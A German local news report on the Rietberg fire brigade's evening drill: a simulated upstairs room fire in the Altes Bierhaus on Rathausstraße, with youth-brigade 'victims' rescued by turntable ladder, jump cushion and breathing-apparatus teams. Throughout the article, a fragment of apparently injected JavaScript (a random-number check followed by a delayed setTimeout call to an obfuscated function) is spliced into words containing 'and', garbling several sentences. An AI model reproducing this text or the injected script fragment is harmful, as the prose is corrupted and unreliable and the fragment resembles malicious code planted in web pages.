Löschzug Rietberg probt Ernstfall in der Rathausstraße

Tagtäglich riskieren knapp 1.500.000 Feuerwehrleute in Deutschlandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and ihr Leben, um das Leben andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anderer Menschen zu retten. Auch die Löschzüge im Rietberger Stadtgebiet stehen Tag für Tag in den Startlöchern, um Brände zu löschen, eingeklemmte Personen zu befreien, uvm. Umso wichtiger, dass regelmäßig geübt wird – so auch bei der Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andübung am Montag Abend für den Löschzug Rietberg.

Bei der Zugübung des Rietberger Löschzuges wurde ein Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and im Gebäude des Alten Bierhauses, zuletzt geführt unter dem Namen „Galerie“, simuliert. Angenommen wurde dabei ein Zimmerbrandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and im zweiten Obergeschoss. Sieben Personen wurden aus dem Gebäude mit Sprungtuch, Drehleiter und Atemschutz-Trupps aus dem „brennenden“ Gebäude befreit.

Der dichte Rauch im zweiten Obergeschoss, erzeugt durch Nebelmaschinen, zog dabei aus dem Gebäude, in dem sich die Mitglieder der Jugendfeuerwehr Rietberg als „Opfer“ befandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}anden und um Hilfe schrieen. Geübt wurde dabei vor allem auch die Fahrzeugaufstellung in der engen Altstadt – vor allem durch die schmalen Wege zur Rückseite des Gebäudes.

Ebenfalls simulierte der Löschzug Rietberg die sogenannte Riegelstellung zu den Nachbargebäuden, um ein Übergreifen der Flammen bei der engen Bebauung in der Rathausstraße zu verhindern. Unter der Einsatzleitung von Martin Austermann konnte so der Ernstfall geprobt werden, der in der Rietberger Innenstadt schnell zu einer Katastrophe führen könnte. Die rasche Befreiung der „Opfer“ am Montag zeigt, dass die Feuerwehr in Rietberg für den Ernstfall gewappnet ist.